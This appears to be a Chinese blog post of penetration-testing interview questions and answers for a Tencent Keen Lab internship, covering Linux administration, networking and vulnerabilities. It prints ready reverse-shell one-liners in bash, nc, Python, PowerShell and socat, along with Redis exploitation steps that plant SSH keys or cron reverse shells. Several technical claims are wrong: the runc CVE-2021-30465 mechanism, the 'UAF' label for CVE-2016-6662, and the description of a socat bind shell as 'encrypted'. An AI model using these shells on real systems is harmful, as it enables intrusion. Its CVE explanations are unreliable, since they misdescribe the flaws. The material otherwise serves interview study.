2025年渗透测试面试题总结- 腾讯科恩实验室实习 二面(题目+回答)

发布于:2025-03-16 ⋅ 阅读:(11) ⋅ 点赞:(0)

 网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

 腾讯科恩实验室实习 二面

一、Linux系统管理

1. Linux开机自启的5种方式

2. init.d脚本详解

3. 查看程序占用文件

4. 监控Linux文件操作

二、系统调用与调试

5. Linux系统调用分类

6. GDB调试核心技巧

三、网络与安全

7. 查看网络端口与线程状态

8. 反弹Shell的5种方式

9. Linux隐藏文件的3种方法

四、渗透与防御技术

10. 子域名收集的5种方式

11. DNS重绑定攻击原理

12. DNS解析流程

13. CC流量特征与防御

14. SSH隧道与UDP穿透

五、协议与开发工具

15. HTTPS证书机制

16. Burp Suite使用防范与插件开发

17. Nmap基本操作命令

六、漏洞与容器安全

18. SYN开放链接原理(半连接攻击)

19. Redis未授权访问漏洞

20. runc容器逃逸漏洞(CVE-2021-30465)

七、WAF与数据库安全

21. 常见WAF种类

22. MySQL UAF漏洞(CVE-2016-6662)

八、进程通信方式

23. Linux进程通信5种方式


 

 腾讯科恩实验室实习 二面

linux开机自启的方式
init.d脚本介绍
linux怎么查看程序点用了哪些文件
如何监控linux文件操作
linux有哪些系统调用
GDB调试
查看linux开放的网络端口、多线程状态
反弹shell的方式
linux下怎么隐藏文件
子域名收集方式
DNS重绑定
DNS解析的流程
CC流量
SSH隧道、UDP穿越隧道
https证书机制介绍
burp一些使用防范,插件开发方法
nmap的基本操作
syn开放链接原理
redis漏洞原理
runc容器逃逸原理
常见waf种类
MYSql的UAF
Linux进程通信

一、Linux系统管理

1. Linux开机自启的5种方式
  1. systemd服务(主流方式)bash

    # 创建服务文件 sudo nano /etc/systemd/system/myapp.service # 内容示例: [Unit] Description=MyApp After=network.target [Service] ExecStart=/usr/bin/myapp Restart=always [Install] WantedBy=multi-user.target # 启用服务 sudo systemctl enable myapp.service

  2. crontab定时任务  bash

    @reboot /path/to/script.sh

  3. /etc/rc.local (旧版本兼容)bash

    echo "/path/to/command" >> /etc/rc.local chmod +x /etc/rc.local

  4. 桌面环境自启(如GNOME)

    • 将.desktop文件放入~/.config/autostart/
  5. init.d脚本(System V兼容)bash

    sudo update-rc.d myscript defaults


2. init.d脚本详解
  • 作用:System V init系统的服务管理脚本,用于启动、停止、重启服务。
  • 核心结构bash

    #!/bin/bash case "$1" in start) /path/to/start_command ;; stop) /path/to/stop_command ;; restart) $0 stop $0 start ;; esac

  • 管理命令service myscript start/etc/init.d/myscript start

3. 查看程序占用文件
  • lsof命令(实时查看):bash

    lsof -p <PID> # 查看进程打开的文件 lsof /var/log/syslog # 查看某个文件被哪些进程使用

  • strace跟踪系统调用bash

    strace -e trace=open,read,write -p <PID>


4. 监控Linux文件操作
  1. inotify-tools工具bash

    inotifywait -m -r /path/to/dir # 实时监控目录变化

  2. auditd框架(企业级审计):bash

    auditctl -w /etc/passwd -p warx -k password_file # 监控passwd文件读写 ausearch -k password_file # 查询审计日志


二、系统调用与调试

5. Linux系统调用分类
类别 示例调用 功能说明
文件操作 open(), read(), write() 文件读写与权限管理
进程控制 fork(), execve(), exit() 进程创建与终止
网络通信 socket(), bind(), send() 网络连接与数据传输
内存管理 mmap(), brk() 内存分配与映射

6. GDB调试核心技巧
  • 基础命令bash

    gdb -p <PID> # 附加到进程 break main # 设置断点 info registers # 查看寄存器 x/10i $pc # 反汇编当前指令

  • 分析核心转储bash

    ulimit -c unlimited # 启用核心转储 gdb /path/to/program core # 分析崩溃文件


三、网络与安全

7. 查看网络端口与线程状态
  • 开放端口bash

    ss -tulnp # 显示所有监听端口(替代netstat)

  • 多线程状态bash

    top -H -p <PID> # 查看进程的线程资源占用 ps -T -p <PID> # 显示线程列表


8. 反弹Shell的5种方式
  1. Bash反向Shellbash

    bash -i >& /dev/tcp/10.0.0.1/4444 0>&1

  2. Netcat监听bash

    nc -e /bin/sh 10.0.0.1 4444

  3. Python反向Shellpython

    import socket,subprocess,os s=socket.socket();s.connect(("10.0.0.1",4444)) os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2) subprocess.call(["/bin/sh","-i"])

  4. PowerShell反向Shellpowershell

    $client = New-Object System.Net.Sockets.TCPClient("10.0.0.1",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){;$data = (New-Object -TypeName Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$smsg = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($smsg,0,$smsg.Length);$stream.Flush()}

  5. Socat加密Shellbash

    socat TCP-LISTEN:4444,reuseaddr,fork EXEC:'/bin/bash',pty,stderr,setsid,sigint,sane


9. Linux隐藏文件的3种方法
  1. 基础隐藏:文件名以.开头(如.secret)。
  2. 文件属性bash

    chattr +i .hidden_file # 设置不可修改/删除

  3. 内核模块:通过修改ls命令行为或文件系统驱动(如rootkit)。

四、渗透与防御技术

10. 子域名收集的5种方式
  1. 字典爆破:使用工具subbrutednsrecon
  2. 证书透明度:通过crt.sh 查询证书关联域名。
  3. 搜索引擎:Google语法site:example.com
  4. DNS区域传输:尝试dig axfr @ns1.example.com example.com
  5. API接口:使用Sublist3r集成多个数据源(如VirusTotal)。

11. DNS重绑定攻击原理
  • 攻击流程
    1. 攻击者控制域名evil.com ,设置极短的TTL(如1秒)。
    2. 首次解析返回合法IP(绕过同源策略)。
    3. 二次解析返回内网IP(如192.168.1.1),绕过浏览器限制。
  • 防御
    • 限制DNS响应IP范围。
    • 使用DNS黑名单过滤内网地址。

12. DNS解析流程
  1. 本地缓存:检查浏览器、系统、路由器的DNS缓存。
  2. 递归查询:向配置的DNS服务器(如8.8.8.8)发起请求。
  3. 根域名服务器:获取顶级域(如.com)的权威服务器。
  4. TLD服务器:指向域名的权威DNS服务器。
  5. 权威服务器:返回最终的A记录或CNAME记录。

13. CC流量特征与防御
  • 特征:高频HTTP请求(如刷接口)、固定User-Agent、IP池轮换。
  • 防御
    • 速率限制(Nginx的limit_req模块)。
    • 验证码挑战(如Google reCAPTCHA)。
    • 行为分析(基于请求时序和路径异常)。

14. SSH隧道与UDP穿透
  • SSH本地端口转发bash

    ssh -L 8080:localhost:80 user@jumpserver # 将本地8080转发到jumpserver的80端口

  • UDP隧道工具bash

    socat UDP-LISTEN:53,fork TCP:1.2.3.4:53 # 将UDP 53端口转发到TCP


五、协议与开发工具

15. HTTPS证书机制
  • 流程
    1. 客户端发送支持的加密套件列表。
    2. 服务端返回证书(含公钥和CA签名)。
    3. 客户端验证证书链(根CA→中间CA→服务端证书)。
    4. 协商对称密钥(如ECDHE密钥交换)。
  • 证书类型:DV(域名验证)、OV(组织验证)、EV(扩展验证)。

16. Burp Suite使用防范与插件开发
  • 安全操作
    • 关闭不必要模块(如Collaborator)。
    • 设置项目级会话隔离。
  • 插件开发
    • 使用Java API扩展功能(如自定义扫描逻辑)。
    • 示例代码结构:java

      public class MyPlugin implements IBurpExtender { @Override public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks) { callbacks.setExtensionName("My Plugin"); } }


17. Nmap基本操作命令
  • 主机发现bash

    nmap -sn 192.168.1.0/24 # Ping扫描

  • 端口扫描bash

    nmap -sS -T4 -p 1-65535 target.com # SYN扫描

  • 服务识别bash

    nmap -sV -sC target.com # 版本探测+默认脚本


六、漏洞与容器安全

18. SYN开放链接原理(半连接攻击)
  • 原理:发送大量SYN包但不完成三次握手,耗尽服务端连接队列。
  • 检测netstat -n -p TCP | grep SYN_RECV
  • 防御:调整net.ipv4.tcp_max_syn_backlog 和启用SYN Cookie。

19. Redis未授权访问漏洞
  • 利用场景
    • 写入SSH公钥:redis-cli -h 目标IP set payload "\n\nssh-rsa AAAAB3...\n\n"
    • 计划任务反弹Shell:config set dir /var/spool/cron/
  • 防御:绑定IP、启用认证、禁用高危命令。

20. runc容器逃逸漏洞(CVE-2021-30465)
  • 原理:通过恶意容器镜像覆盖宿主机runc二进制文件。
  • 复现步骤
    1. 构造恶意镜像覆盖/proc/self/exe
    2. 触发runc执行时加载宿主机文件。
  • 修复:升级runc版本,限制容器权限。

七、WAF与数据库安全

21. 常见WAF种类
  1. 云WAF:Cloudflare、AWS Shield。
  2. 硬件WAF:Imperva、F5 ASM。
  3. 软件WAF:ModSecurity(Nginx插件)。
  4. 内嵌WAF:WordPress插件(如Wordfence)。

22. MySQL UAF漏洞(CVE-2016-6662)
  • 原理:通过mysqld_safe脚本竞争条件导致权限提升。
  • 利用:替换合法配置文件执行恶意代码。
  • 修复:升级MySQL版本,限制配置文件权限。

八、进程通信方式

23. Linux进程通信5种方式
  1. 管道(Pipe):单向通信,用于父子进程(ls | grep txt)。
  2. 信号(Signal):异步通知(如kill -9 PID发送SIGKILL)。
  3. 共享内存(Shared Memory):高效数据共享,需同步机制。
  4. 消息队列(Message Queue):结构化数据传输(msgget/msgsnd)。
  5. Socket通信:跨网络进程交互(如TCP/UDP Socket)。